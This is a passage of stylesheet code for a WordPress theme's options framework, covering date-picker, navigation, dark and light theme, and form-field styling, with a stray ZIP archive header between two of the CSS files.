  user-select: none;
  -webkit-align-self: center;
  -ms-flex-item-align: center;
  align-self: center;
}
.flatpickr-time .flatpickr-am-pm {
  outline: 0;
  width: 18%;
  cursor: pointer;
  text-align: center;
  font-weight: 400;
}
.flatpickr-time .flatpickr-am-pm:focus,
.flatpickr-time .flatpickr-am-pm:hover,
.flatpickr-time input:focus,
.flatpickr-time input:hover {
  background: #eee;
}
.flatpickr-input[readonly] {
  cursor: pointer;
}
@-webkit-keyframes fpFadeInDown {
  from {
    opacity: 0;
    -webkit-transform: translate3d(0, -20px, 0);
    transform: translate3d(0, -20px, 0);
  }
  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}
@keyframes fpFadeInDown {
  from {
    opacity: 0;
    -webkit-transform: translate3d(0, -20px, 0);
    transform: translate3d(0, -20px, 0);
  }
  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}
.csf-field-sizes input {
  border-radius: 0;
}
.csf-buttons .button.csf-reset-section {
  border-color: #c6ba0b;
  background: #c6ba0b;
  color: #fff;
}
body .csf-theme-light .csf-nav ul li .csf-active:after {
  content: "\f054";
  display: inline-block;
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  font-size: 9px;
  line-height: 1;
  position: absolute;
  right: 12px;
  top: 50%;
  margin-top: -4px;
}
.csf-tab-item.csf-tab-expanded {
  background: #000;
}PK     N\΃HK HK .  inc/options/framework/assets/css/style.min.cssnu [        .csf{position:relative}.csf label{padding:0;margin:0;display:inline-block}.csf-ab-icon{top:2px}#screen-meta-links+.csf-options{margin-top:40px}.csf-options{margin-top:40px;margin-right:15px;margin-left:15px}.csf-header{position:relative}.csf-header-inner{padding:25px;transition:box-shadow .3s ease}.csf-header-inner h1{float:left;font-size:1.5em;line-height:26px;font-weight:400;margin:0}.csf-header-inner h1 small{font-size:11px;font-weight:500}.csf-sticky .csf-header-inner{position:fixed;z-index:99;top:32px;box-shadow:0 5px 10px rgba(0,0,0,.1)}.csf-buttons{float:right}.csf-buttons .button{margin:0 2px;line-height:34px;border-radius:0}.csf-buttons .button:focus{outline:0!important;box-shadow:none!important}.csf-buttons .csf-save{min-width:72px}.csf-header-left{float:left}.csf-header-right{float:right}.csf-nav{display:block;position:relative;z-index:10;float:left}.csf-nav ul{clear:left;margin:0;list-style-type:none}.csf-nav ul li{margin-bottom:0}.csf-nav ul li a{font-size:14px;position:relative;display:block;padding:20px 15px;text-decoration:none;transition-property:color,background;transition-duration:.2s;transition-timing-function:ease;line-height:1.4}.csf-nav ul li a:focus{outline:0;box-shadow:none}.csf-nav ul li .csf-arrow:after{content:"\f054";display:inline-block;font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;font-size:9px;line-height:1;position:absolute;right:12px;top:50%;margin-top:-4px}.csf-nav ul li.csf-tab-expanded .csf-arrow:after{transform:rotate(90deg)}.csf-nav ul li.csf-tab-expanded ul{display:block}.csf-nav ul ul{display:none;position:relative}.csf-nav ul ul li a{font-size:12px;padding:12px 15px 12px 30px}.csf-nav ul li.csf-tab-expanded ul{background:0 0}.csf-nav .csf-tab-icon{width:20px;margin-right:20px;font-size:26px;text-align:center;vertical-align:middle;position:absolute;left:20px;top:0;bottom:0;display:flex;align-items:center}.penci-cpnale-tab-title{padding-left:45px;display:block}.csf-nav .csf-label-error{margin-left:4px;vertical-align:top}.csf-nav-normal{width:225px}.csf-nav-normal+.csf-content{margin-left:225px}.csf-nav-inline{width:100%}.csf-nav-inline ul li{display:inline-block;vertical-align:top}.csf-nav-background{position:absolute;top:0;left:0;bottom:0;z-index:9;width:225px}.csf-wrapper{position:relative}.csf-content{position:relative;background-color:#fff}.csf-sections{float:left;width:100%}.csf-section-title{display:none;padding:20px 30px;background-color:#f5f5f5;border-top:1px solid #eee;border-bottom:1px solid #eee}.csf-section-title h3{margin:0;padding:0;font-size:13px;font-weight:700;text-transform:uppercase}.csf-section-title .csf-section-icon{margin-right:5px}.csf-footer{padding:20px;font-size:11px}.csf-copyright{float:left;margin-top:5px}.csf-search-all .csf-nav,.csf-search-all .csf-nav-background,.csf-show-all .csf-nav,.csf-show-all .csf-nav-background{display:none}.csf-search-all .csf-content,.csf-show-all .csf-content{margin-left:0}.csf-search-all .csf-section,.csf-search-all .csf-section-title,.csf-show-all .csf-section,.csf-show-all .csf-section-title{display:block!important}.csf-search-all .csf-section-title{display:none!important}.csf-expand-all{float:left;padding:0 8px;margin-right:4px;z-index:1;font-size:13px;line-height:30px;cursor:pointer;user-select:none;border-radius:0;transition:all .2s}.csf-expand-all span{font-size:11px;vertical-align:middle}.csf-search{float:left}.csf-search input{margin:0 2px 0 0;border:none;font-size:12px;line-height:36px;min-height:30px;text-align:inherit;padding:0 10px;border-radius:0;box-shadow:none}.csf-search input:focus{box-shadow:none}.csf-saving .csf-buttons,.csf-saving .csf-content{cursor:default;pointer-events:none;opacity:.5}.csf-metabox{margin:-6px -12px -12px -12px}.csf-metabox .csf-field{padding:20px}.csf-metabox .csf-section-title{padding:20px}.block-editor-page .csf-metabox{margin:-6px -14px -14px -14px}.block-editor-editor-skeleton__content .csf-metabox{border-left:1px solid #e2e4e7;border-right:1px solid #e2e4e7}.csf-sections-reset{float:left;width:100%;text-align:right;border-top:1px solid #eee}.csf-sections-reset .csf-button-cancel,.csf-sections-reset input{display:none}.csf-sections-reset label{padding:10px}.csf-sections-reset span{-webkit-user-select:none;user-select:none}.csf-sections-reset input:checked~.csf-button-reset{display:none}.csf-sections-reset input:checked~.csf-button-cancel{display:inline-block}#side-sortables .csf-section-title{padding:12px}#side-sortables .csf-field{padding:10px 15px}#side-sortables .csf-field .csf-title{float:none;width:100%;margin-bottom:6px}#side-sortables .csf-field .csf-fieldset{float:none;width:100%}#side-sortables .csf-field-text input{width:100%}#side-sortables .csf-notice{padding:10px 15px}.csf-comment-metabox{margin:-6px -12px -12px -12px}.csf-comment-metabox .csf-field{padding:20px}.csf-comment-metabox .csf-section-title{padding:20px}.csf-tooltip{position:absolute;z-index:5000001;font-size:12px;line-height:1.4;text-align:center;text-decoration:none;padding:6px 12px;max-width:200px;color:#fff;background-color:#000;background-color:rgba(0,0,0,.85);border-radius:0}.csf-theme-dark .csf-header-inner{background-color:#050505}.csf-theme-dark .csf-header-inner h1{color:#fff}.csf-theme-dark .csf-header-inner h1 small{color:#555}.csf-theme-dark .csf-expand-all{color:#999;background-color:#222}.csf-theme-dark .csf-expand-all:hover{color:#fff;background-color:#333}.csf-theme-dark .csf-search input{color:#fff;background-color:#222}.csf-theme-dark .csf-search:focus{background-color:#444}.csf-theme-dark .csf-search::-webkit-input-placeholder{color:#666}.csf-theme-dark .csf-nav ul li a{color:#999;border-color:#2f2f2f;background-color:#222}.csf-theme-dark .csf-nav ul li a:hover{color:#fff}.csf-theme-dark .csf-nav ul li .csf-active{color:#fff;background-color:#111}.csf-theme-dark .csf-nav ul ul li a{border-color:#2f2f2f;background-color:#191919}.csf-theme-dark .csf-nav ul ul li .csf-active{background-color:#101010}.csf-theme-dark .csf-nav ul ul:before{background-color:rgba(34,34,34,.75)}.csf-theme-dark .csf-nav>ul>li:last-child>a{border:none}.csf-theme-dark .csf-nav-normal ul li a{border-bottom-width:1px;border-bottom-style:solid}.csf-theme-dark .csf-nav-normal ul li .csf-active:after{content:" ";position:absolute;right:0;top:50%;height:0;width:0;pointer-events:none;border:solid transparent;border-right-color:#fff;border-width:4px;margin-top:-4px}.csf-theme-dark .csf-nav-inline{background-color:#222}.csf-theme-dark .csf-nav-inline ul li a{text-align:center;border-right-width:1px;border-right-style:solid}.csf-theme-dark .csf-nav-inline ul li .csf-active:after{content:" ";position:absolute;left:50%;bottom:0;height:0;width:0;pointer-events:none;border:solid transparent;border-bottom-color:#fff;border-width:4px;margin-left:-4px}.csf-theme-dark .csf-nav-background{background-color:#222}.csf-theme-dark .csf-footer{color:#555;background-color:#050505}.csf-theme-light .csf-container{box-shadow:0 0 15 rgba(0,0,0,.04)}.csf-theme-light .csf-header-inner{border-bottom:1px solid #ccd0d4;background-color:#f5f5f5}.csf-theme-light .csf-header-inner h1 small{color:#999}.csf-theme-light .csf-expand-all{color:#999;background-color:#eee}.csf-theme-light .csf-expand-all:hover{color:#555}.csf-theme-light .csf-search input{color:#555;background-color:#eee}.csf-theme-light .csf-search input::-webkit-input-placeholder{color:#999}.csf-theme-light .csf-nav ul li a{font-weight:500;color:#444;background-color:#f5f5f5}.csf-theme-light .csf-nav ul li a:hover{color:#111;background-color:#fff}.csf-theme-light .csf-nav ul li .csf-active{color:#111;background-color:#fff}.csf-theme-light .csf-nav ul ul li a{background-color:#eee}.csf-theme-light .csf-nav-normal>ul{margin-right:-1px;margin-bottom:-1px}.csf-theme-light .csf-nav-normal>ul li a{border-bottom:1px solid #ccd0d4;border-right:1px solid #ccd0d4}.csf-theme-light .csf-nav-normal>ul li .csf-active{border-right-color:#fff}.csf-theme-light .csf-nav-inline{background-color:#f5f5f5;border-bottom:1px solid #ccd0d4}.csf-theme-light .csf-nav-inline>ul{margin-bottom:-1px}.csf-theme-light .csf-nav-inline>ul li a{text-align:center;border-right:1px solid #ccd0d4;border-bottom:1px solid #ccd0d4}.csf-theme-light .csf-nav-inline>ul li .csf-active{border-bottom-color:#fff}.csf-theme-light .csf-nav-inline>ul ul{display:none!important}.csf-theme-light .csf-nav-inline .csf-arrow:after{display:none}.csf-theme-light .csf-nav-background{background-color:#f5f5f5}.csf-theme-light .csf-footer{color:#555;border-top:1px solid #ccd0d4;background-color:#f5f5f5}.csf-field{position:relative;padding:30px}.csf-field+.csf-field{border-top:1px solid #eee}.csf-field p:first-child{margin-top:0}.csf-field p:last-child{margin-bottom:0}.csf-field:after,.csf-field:before{content:" ";display:table}.csf-field:after{clear:both}.csf-field h4{margin-top:0}.csf-field .csf-title{position:relative;width:35%;float:left}.csf-field .csf-title h4{margin:0;color:#23282d}.csf-field .csf-fieldset{float:right;width:calc(65% - 20px)}.csf-pseudo-field{padding:0 5px 0 0!important;display:inline-block}.csf-pseudo-field+.csf-pseudo-field{border:0}.csf-pseudo-field pre{display:none}.csf-field-accordion .csf-accordion-item{position:relative;margin-bottom:5px}.csf-field-accordion .csf-accordion-item:last-child{margin-bottom:0}.csf-field-accordion .csf-accordion-item h4{font-size:1em}.csf-field-accordion .csf-accordion-title{display:block;cursor:pointer;position:relative;margin:0;padding:15px;min-height:0;font-size:100%;user-select:none;border:1px solid #ccd0d4;background-color:#fafafa;box-shadow:0 1px 1px rgba(0,0,0,.04);transition:border-color .15s}.csf-field-accordion .csf-accordion-title:active,.csf-field-accordion .csf-accordion-title:focus,.csf-field-accordion .csf-accordion-title:hover{outline:0;border-color:#999}.csf-field-accordion .csf-accordion-title .csf--icon{width:20px;text-align:center;margin-right:2px}.csf-field-accordion .csf-accordion-icon{width:16px;text-align:center}.csf-field-accordion .csf-accordion-content{display:none;padding:0;border:1px solid #ccd0d4;border-top:none;background-color:#fff;box-shadow:0 1px 1px rgba(0,0,0,.04)}.csf-field-accordion .csf-accordion-content>.csf-field{padding:15px}.csf-field-accordion .csf-accordion-open{display:block}.csf-field-background .csf-field{border:0!important;padding:0;margin-bottom:6px;margin-right:6px}.csf-field-background .csf--title{color:#777;font-size:12px}.csf-field-background .csf--background-colors{display:flex;flex-wrap:wrap}.csf-field-background .csf--background-attributes{display:flex;flex-wrap:wrap}.csf-field-background .csf--background-attributes select{min-width:100%;margin:0}.csf-field-background .csf--background-attributes .csf-field{flex:1}.csf-field-background .csf--attributes-hidden{display:none}.csf-field-backup textarea{width:100%;min-height:200px;margin-bottom:5px}.csf-field-backup small{display:inline-block;margin:5px}.csf-field-backup hr{margin:20px 0;border:none;border-bottom:1px solid #e5e5e5}.csf-field-border .csf--inputs,.csf-field-dimensions .csf--inputs,.csf-field-sizes .csf--inputs,.csf-field-spacing .csf--inputs,.csf-field-spacings .csf--inputs{float:left;display:flex;flex-wrap:wrap}.csf-field-border .csf--input,.csf-field-dimensions .csf--input,.csf-field-sizes .csf--input,.csf-field-spacing .csf--input,.csf-field-spacings .csf--input{display:flex;padding-right:6px;padding-bottom:4px;box-sizing:border-box}.csf-field-border .csf--input select,.csf-field-dimensions .csf--input select,.csf-field-spacing .csf--input select{margin:0}.csf-field-border .csf--input input,.csf-field-dimensions .csf--input input,.csf-field-sizes .csf--input input,.csf-field-spacing .csf--input input,.csf-field-spacings .csf--input input{position:relative;z-index:1;margin:0;width:65px;max-width:100%;text-align:center}.csf-field-border .csf--color,.csf-field-dimensions .csf--color,.csf-field-spacing .csf--color,.csf-field-spacings .csf--color{float:left}.csf-field-border .csf--label,.csf-field-dimensions .csf--label,.csf-field-sizes .csf--label,.csf-field-spacing .csf--label,.csf-field-spacings .csf--label{display:flex;flex-direction:column;justify-content:center;user-select:none;min-width:20px;max-width:100%;padding:0 4px;font-size:12px;text-align:center;color:#555;border:1px solid #7b776c;background-color:#f5f5f5}.csf-field-border .csf--icon,.csf-field-dimensions .csf--icon,.csf-field-sizes .csf--icon,.csf-field-spacing .csf--icon,.csf-field-spacings .csf--icon{border-right:0;border-radius:0}.csf-field-border .csf--icon+input,.csf-field-dimensions .csf--icon+input,.csf-field-sizes .csf--icon+input,.csf-field-spacing .csf--icon+input,.csf-field-spacings .csf--icon+input{border-top-left-radius:0!important;border-bottom-left-radius:0!important}.csf-field-border .csf--unit,.csf-field-dimensions .csf--unit,.csf-field-sizes .csf--unit,.csf-field-spacing .csf--unit,.csf-field-spacings .csf--unit{border-left:0;border-radius:0}.csf-field-border .csf--is-unit,.csf-field-dimensions .csf--is-unit,.csf-field-sizes .csf--is-unit,.csf-field-spacing .csf--is-unit,.csf-field-spacings .csf--is-unit{border-top-right-radius:0!important;border-bottom-right-radius:0!important}.csf-field-button_set .csf--buttons{display:inline-block}.csf-field-button_set .csf--button{position:relative;z-index:1;float:left;cursor:pointer;padding:7px 14px;min-width:16px;text-align:center;color:#555;border:1px solid #ccc;background-color:#f7f7f7;user-select:none;box-shadow:0 1px 0 rgba(0,0,0,.1)}.csf-field-button_set .csf--button:first-child{border-radius:0}.csf-field-button_set .csf--button:last-child{border-radius:0}.csf-field-button_set .csf--button:not(:first-child){margin-left:-1px}.csf-field-button_set .csf--button:hover{background-color:#eee}.csf-field-button_set .csf--active,.csf-field-button_set .csf--active:hover{z-index:2;color:#fff;border-color:#006799;background-color:#0085ba}.csf-field-button_set input{display:none}.csf-field-checkbox ul,.csf-field-radio ul{margin:0;padding:0;list-style-type:none;overflow-y:auto;max-height:305px}.csf-field-checkbox ul li,.csf-field-radio ul li{margin-bottom:6px}.csf-field-checkbox ul ul,.csf-field-radio ul ul{max-height:none}.csf-field-checkbox ul ul li,.csf-field-radio ul ul li{margin-left:8px}.csf-field-checkbox ul ul li:first-child,.csf-field-radio ul ul li:first-child{margin-left:0}.csf-field-checkbox input,.csf-field-radio input{margin:0 1px}.csf-field-checkbox .csf--inline-list li,.csf-field-radio .csf--inline-list li{display:inline-block;margin-right:15px}.csf-field-checkbox .csf--text,.csf-field-radio .csf--text{margin-left:5px;vertical-align:middle}.csf-field-checkbox .csf-checker,.csf-field-radio .csf-checker{cursor:pointer}.csf-field-checkbox .csf-checkbox-all,.csf-field-radio .csf-checkbox-all{user-select:none;cursor:pointer;margin-top:5px;font-weight:500;text-decoration:none}.csf-field-code_editor .CodeMirror{width:100%;height:400px}.csf-field-code_editor .cm-s-default{border:1px solid #ccd0d4}.csf-field-code_editor textarea{width:100%;height:400px}.csf-field-color>input{opacity:.75;width:115px;max-width:100%}.csf-field-color .button.wp-picker-clear{padding:0 8px;margin-left:6px;line-height:2.54545455;min-height:30px}.csf-field-color_group .csf--left{float:left;margin-right:10px;margin-bottom:5px}.csf-field-color_group .csf--title{color:#999;margin-bottom:5px}.csf-field-fieldset .csf-fieldset-content{border:1px solid #ccd0d4;background-color:#fff;box-shadow:0 1px 1px rgba(0,0,0,.04)}.csf-field-fieldset .csf-fieldset-content>.csf-field{padding:15px}.csf-field-fieldset .csf-field-subheading{font-size:13px}.csf-field-date input{margin:0}.csf-field-date .csf--to{margin-left:7px}.csf-datepicker-wrapper{margin-top:5px;width:auto;background-color:#fff;z-index:9999999!important;box-shadow:0 0 30px rgba(0,0,0,.15)}.csf-datepicker-wrapper *{float:none;margin:0;padding:0;font-family:inherit;font-weight:400;font-style:normal;text-decoration:none;border:0;border-radius:0;box-shadow:none}.csf-datepicker-wrapper .ui-datepicker-header,.csf-datepicker-wrapper .ui-widget-header{color:#fff;background:#00a0d2}.csf-datepicker-wrapper .ui-datepicker-header .ui-state-hover{cursor:pointer}.csf-datepicker-wrapper .ui-datepicker-title{font-size:14px;line-height:40px;text-align:center}.csf-datepicker-wrapper .ui-datepicker-next,.csf-datepicker-wrapper .ui-datepicker-prev{position:static;top:auto;left:auto;right:auto;font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;font-size:12px;text-align:center;width:41px;height:40px;line-height:40px;color:#fff;background-color:rgba(255,255,255,.1);text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.csf-datepicker-wrapper .ui-datepicker-next span,.csf-datepicker-wrapper .ui-datepicker-prev span{display:none}.csf-datepicker-wrapper .ui-datepicker-prev{float:left}.csf-datepicker-wrapper .ui-datepicker-next{float:right}.csf-datepicker-wrapper .ui-datepicker-prev:before{content:"\f053"}.csf-datepicker-wrapper .ui-datepicker-next:before{content:"\f054"}.csf-datepicker-wrapper .ui-datepicker-next-hover,.csf-datepicker-wrapper .ui-datepicker-prev-hover{opacity:.75}.csf-datepicker-wrapper tbody .ui-datepicker-week-col{background-color:#f7f7f7}.csf-datepicker-wrapper .ui-datepicker-buttonpane{padding:10px;text-align:center;background-color:#f7f7f7}.csf-datepicker-wrapper .ui-datepicker-buttonpane button{cursor:pointer;margin:0 5px;padding:7px 14px;border:1px solid #eee;background-color:#fff}.csf-datepicker-wrapper select{margin:0 4px}.csf-datepicker-wrapper select option{color:#555}.csf-datepicker-wrapper table{font-size:13px;border-collapse:collapse;width:100%}.csf-datepicker-wrapper thead{color:#fff;background:#32373c}.csf-datepicker-wrapper th{text-align:center;padding:7px;border:1px solid #444}.csf-datepicker-wrapper td{text-align:center;border:1px solid #f4f4f4}.csf-datepicker-wrapper td.ui-datepicker-other-month{border:transparent}.csf-datepicker-wrapper td .ui-state-default{color:#555;width:auto;display:block;padding:6px 12px}.csf-datepicker-wrapper td .ui-state-active,.csf-datepicker-wrapper td .ui-state-hover{color:#fff;background-color:#0073aa}.csf-datepicker-wrapper td.ui-state-disabled .ui-state-default{opacity:.5}.csf-field-datetime input{margin:0}.csf-field-datetime .csf--to{margin-left:7px}.csf-flatpickr input,.csf-flatpickr select{min-height:auto}.csf-flatpickr input:focus,.csf-flatpickr select:focus{box-shadow:none}.csf-flatpickr.open{z-index:9999999!important}.csf-field-gallery ul{margin:0;padding:0;list-style-type:none}.csf-field-gallery ul li{display:inline-block;position:relative;padding:4px;margin:0 5px 10px 0;border:1px solid #ccc;background-color:#f9f9f9;border-radius:0;box-shadow:0 1px 0 rgba(0,0,0,.08)}.csf-field-gallery ul li img{max-height:60px;display:inline-block;vertical-align:middle}.csf-field-gallery .button{margin-right:5px;margin-bottom:5px}.csf-field-group .csf-cloneable-hidden{display:none!important}.csf-field-group .csf-cloneable-wrapper{position:relative}.csf-field-group .csf-cloneable-item{display:none;position:relative;margin-bottom:5px}.csf-field-group .csf-cloneable-item h4{font-size:1em}.csf-field-group .ui-accordion .csf-cloneable-item{display:block}.csf-field-group .csf-cloneable-content{border:1px solid #ccd0d4;background-color:#fff;box-shadow:0 1px 1px rgba(0,0,0,.04)}.csf-field-group .csf-cloneable-content>.csf-field{padding:15px}.csf-field-group .csf-cloneable-title{display:block;cursor:pointer;position:relative;user-select:none;margin:0;padding:15px 65px 15px 10px;min-height:0;font-size:100%;border:1px solid #ccd0d4;background-color:#fafafa;box-shadow:0 1px 1px rgba(0,0,0,.04);transition:border-color .15s}.csf-field-group .csf-cloneable-title:active,.csf-field-group .csf-cloneable-title:focus,.csf-field-group .csf-cloneable-title:hover{border-color:#999;outline:0}.csf-field-group .csf-cloneable-helper{position:absolute;top:12px;right:10px;z-index:1;font-size:14px;line-height:1em}.csf-field-group .csf-cloneable-helper i{display:inline-block;cursor:pointer;padding:5px;color:#999}.csf-field-group .csf-cloneable-helper i:hover{color:#555}.csf-field-group .csf-cloneable-content{padding:0;border-top:0}.csf-field-group .csf-cloneable-title-number,.csf-field-group .csf-cloneable-title-prefix{margin-right:5px}.csf-field-group .csf-cloneable-alert{display:none;margin-bottom:5px;padding:10px 20px;color:#a94442;border:1px solid #ebccd1;background-color:#f2dede}.csf-field-group .widget-placeholder{margin-bottom:10px;border:1px dashed #f1c40f;background-color:#fffae4}.csf-field-group .csf-cloneable-header-icon{display:inline-block;text-align:center;font-size:14px;width:17px;text-indent:0;vertical-align:text-top}.csf-field-group .csf-cloneable-placeholder{background-color:#ddd;margin-top:4px;width:100px;height:10px;font-size:10px;line-height:10px;display:inline-block;vertical-align:top;border-radius:0}.csf-field-icon .csf-icon-select{display:flex;grid-gap:5px}.csf-field-icon .csf-icon-preview:not(.hidden){display:flex}.csf-field-icon .csf-icon-preview i{display:flex;justify-content:center;align-items:center;width:30px;font-size:14px;text-align:center;vertical-align:top;color:#555;border:1px solid #ccc;background-color:#f7f7f7;border-radius:0;box-shadow:0 1px 0 rgba(0,0,0,.08)}.csf-field-image_select .csf--image{display:inline-block;margin:0 5px 5px 0}.csf-field-image_select .csf--inline-list .csf--image{display:block}.csf-field-image_select figure{cursor:pointer;position:relative;display:inline-block;max-width:100%;margin:0;vertical-align:bottom;border:2px solid transparent;background-color:#fff;user-select:none;transition:all .2s}.csf-field-image_select figure:before{position:absolute;top:0;left:0;text-align:center;font-size:10px;font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;content:"\f00c";width:16px;height:16px;line-height:14px;opacity:0;color:#fff;background-color:#222;transition:opacity .2s}.csf-field-image_select .csf--active figure{border-color:#222;box-shadow:0 0 20px rgba(0,0,0,.2)}.csf-field-image_select .csf--active figure:before{opacity:1}.csf-field-image_select img{max-width:100%;height:auto;vertical-align:top}.csf-field-image_select input{display:none}.csf-field-link_color .csf--left{float:left;margin-right:10px;margin-bottom:5px}.csf-field-link_color .csf--title{color:#777;margin-bottom:5px}.csf-field-map input{width:100%}.csf-field-map input[type=text].ui-autocomplete-loading{background-position-x:calc(100% - 5px)}.csf-field-map .csf--map-search+.csf--map-osm-wrap{margin-top:10px}.csf-field-map .csf--map-osm-wrap{position:relative;padding:5px;border:1px solid #eee;background-color:#fff;box-shadow:0 1px 1px rgba(0,0,0,.04)}.csf-field-map .csf--map-osm{position:relative;z-index:1;min-height:250px}.csf-field-map .csf--map-inputs{margin-top:10px;display:flex;justify-content:space-between}.csf-field-map .csf--map-input{flex:1}.csf-field-map .csf--map-input:last-child{padding-left:10px}.csf-field-map label{display:block;color:#777;font-size:12px;margin:0 0 2px 0}.csf-map-ui-autocomplate{z-index:999999;border-radius:0;overflow:hidden}.csf-field-media .csf--placeholder{display:flex;align-items:flex-start}.csf-field-media .csf--placeholder input{width:100%;margin:0}.csf-field-media .button{margin-left:5px}.csf-field-media .hidden+.button{margin-left:0}.csf-field-media .csf--preview{position:relative}.csf-field-palette .csf--palette{position:relative;display:inline-block;cursor:pointer;border:2px solid #ddd;margin-right:10px;margin-bottom:10px;user-select:none;-webkit-user-select:none;transition:all .2s}.csf-field-palette .csf--palette span{vertical-align:middle;display:inline-block;width:22px;height:60px;line-height:60px;overflow:hidden;text-indent:-999px}.csf-field-palette .csf--palette:before{position:absolute;top:0;left:0;text-align:center;font-size:10px;font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;content:"\f00c";width:16px;height:16px;line-height:14px;opacity:0;color:#fff;background-color:#222;transition:opacity .2s}.csf-field-palette .csf--active{border-color:#222;box-shadow:0 0 20px rgba(0,0,0,.2)}.csf-field-palette .csf--active:before{opacity:1}.csf-field-palette input{display:none}.csf-field-repeater .csf-field-text input{width:100%}.csf-field-repeater .csf-repeater-hidden{display:none!important}.csf-field-repeater .csf-repeater-wrapper .csf-repeater-item{display:table;width:100%;margin-bottom:5px;border:1px solid #eee}.csf-field-repeater .csf-repeater-wrapper .csf-repeater-item h4{font-size:1em}.csf-field-repeater .csf-repeater-content{width:100%;display:table-cell;vertical-align:middle;background-color:#fff}.csf-field-repeater .csf-repeater-content>.csf-field{padding:15px}.csf-field-repeater .csf-repeater-helper{width:100%;display:table-cell;vertical-align:middle;text-align:center;font-size:14px;line-height:1em;border-left:1px solid #eee;background-color:#f7f7f7}.csf-field-repeater .csf-repeater-helper i{display:inline-block;cursor:pointer;color:#999;padding:5px}.csf-field-repeater .csf-repeater-helper i:hover{color:#555}.csf-field-repeater .csf-repeater-helper-inner{width:75px}.csf-field-repeater .csf-repeater-alert{display:none;margin-bottom:5px;padding:10px 20px;color:#a94442;border:1px solid #ebccd1;background-color:#f2dede}.csf-field-repeater .widget-placeholder{height:50px;margin-bottom:3px;border:1px dashed #f1c40f;background-color:#fffae4}.csf-field-repeater .ui-sortable-helper{height:50px!important;overflow:hidden!important;border-color:#ccc!important;background-color:#eee!important;opacity:.5}.csf-field-repeater .ui-sortable-helper .csf-repeater-content,.csf-field-repeater .ui-sortable-helper .csf-repeater-helper{display:none}.csf-field-select .csf-fieldset{min-height:30px}.csf-field-select .csf-chosen{display:none}.csf-field-select select{max-width:100%;margin:0}.csf-field-select .csf-hide-select{display:none!important}.csf-field-slider .csf--wrap{display:flex;align-items:center}.csf-field-slider .csf--input{display:flex}.csf-field-slider .csf--unit{display:flex;justify-content:center;flex-direction:column;user-select:none;padding:0 6px;font-size:11px;line-height:1;border-radius:0;color:#555;border:1px solid #7e8993;border-left:0;background-color:#f5f5f5}.csf-field-slider .csf-slider-ui{margin-right:15px}.csf-field-slider input[type=number]{position:relative;z-index:1;margin:0;width:50px;text-align:center}.csf-field-slider .csf--is-unit{border-top-right-radius:0!important;border-bottom-right-radius:0!important}.csf-field-slider .ui-slider{position:relative;width:100%;height:3px;border:none;background:#ddd;border-radius:0}.csf-field-slider .ui-slider-range{height:3px;border:none;background:#333;border-radius:0}.csf-field-slider .ui-slider-handle{position:absolute;width:16px;height:16px;top:-7px;margin-left:-8px;border:none;background:#333;border-radius:0}.csf-field-slider .ui-slider-handle:hover,.csf-field-slider .ui-state-active{cursor:pointer;background:#111}.csf-field-sortable .csf-field-text input{width:100%;max-width:100%}.csf-field-sortable .csf-sortable .csf-sortable-item{display:table;width:100%;margin-bottom:5px;border:1px solid #eee}.csf-field-sortable .csf-sortable .csf-sortable-item h4{font-size:1em}.csf-field-sortable .csf-sortable-content{width:100%;display:table-cell;vertical-align:middle;background-color:#fff}.csf-field-sortable .csf-sortable-content>.csf-field{padding:15px}.csf-field-sortable .csf-sortable-helper{width:100%;display:table-cell;vertical-align:middle;text-align:center;font-size:14px;line-height:1em;border-left:1px solid #eee;background-color:#f7f7f7}.csf-field-sortable .csf-sortable-helper i{display:inline-block;cursor:pointer;width:50px;color:#555}.csf-field-sortable .csf-sortable-helper i:hover{opacity:.5}.csf-field-sortable .widget-placeholder{height:50px;margin-bottom:3px;border:1px dashed #f1c40f;background-color:#fffae4}.csf-field-sortable .ui-sortable-helper{height:50px!important;overflow:hidden!important;border-color:#ccc!important;background-color:#eee!important;opacity:.5}.csf-field-sortable .ui-sortable-helper .csf-sortable-content,.csf-field-sortable .ui-sortable-helper .csf-sortable-helper{display:none}.csf-field-sorter .ui-sortable-placeholder{height:20px;border:1px dashed #f1c40f;background-color:#fffae4}.csf-field-sorter .csf-modules{float:left;width:50%;box-sizing:border-box}.csf-field-sorter .csf-modules:first-child{padding-right:15px}.csf-field-sorter .csf-modules:last-child{padding-left:15px}.csf-field-sorter .csf-disabled,.csf-field-sorter .csf-enabled{padding:5px 15px;border:1px dashed #ddd;background-color:#fff}.csf-field-sorter .csf-disabled li{opacity:.5;transition:opacity .15s}.csf-field-sorter .csf-disabled .ui-sortable-helper{opacity:1}.csf-field-sorter .csf-sorter-title{font-size:13px;font-weight:600;padding:10px;text-align:center;border:1px dashed #ddd;border-bottom:none;background-color:#f8f8f8;text-transform:uppercase}.csf-field-sorter ul{list-style-type:none;margin:0;padding:0;min-height:62px}.csf-field-sorter ul li{margin:10px 0;padding:10px 15px;cursor:move;font-weight:700;text-align:center;border:1px solid #e5e5e5;background-color:#fafafa;transition:border-color .15s}.csf-field-sorter ul li:hover{border-color:#bbb}.csf-field-spinner .csf--spin{display:flex}.csf-field-spinner .ui-widget{font-family:inherit}.csf-field-spinner .ui-spinner{display:flex;align-items:stretch;overflow:unset;border:none;background:0 0;border-radius:0}.csf-field-spinner .ui-spinner .ui-button{display:flex;flex-direction:column;justify-content:center;text-align:center;min-width:20px;padding:0 4px;margin:0;color:#555;background-color:#f5f5f5;border:1px solid #7e8993}.csf-field-spinner .ui-spinner .ui-spinner-button{position:relative;cursor:pointer;height:auto}.csf-field-spinner .ui-spinner .ui-spinner-button:hover{background-color:#e7e7e7}.csf-field-spinner .ui-spinner .ui-spinner-button:active{background-color:#ddd}.csf-field-spinner .ui-spinner .ui-spinner-button:before{font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;font-size:14px;line-height:14px}.csf-field-spinner .ui-spinner .ui-spinner-down{border-right:0;border-radius:0}.csf-field-spinner .ui-spinner .ui-spinner-down:before{content:"\f0d9"}.csf-field-spinner .ui-spinner 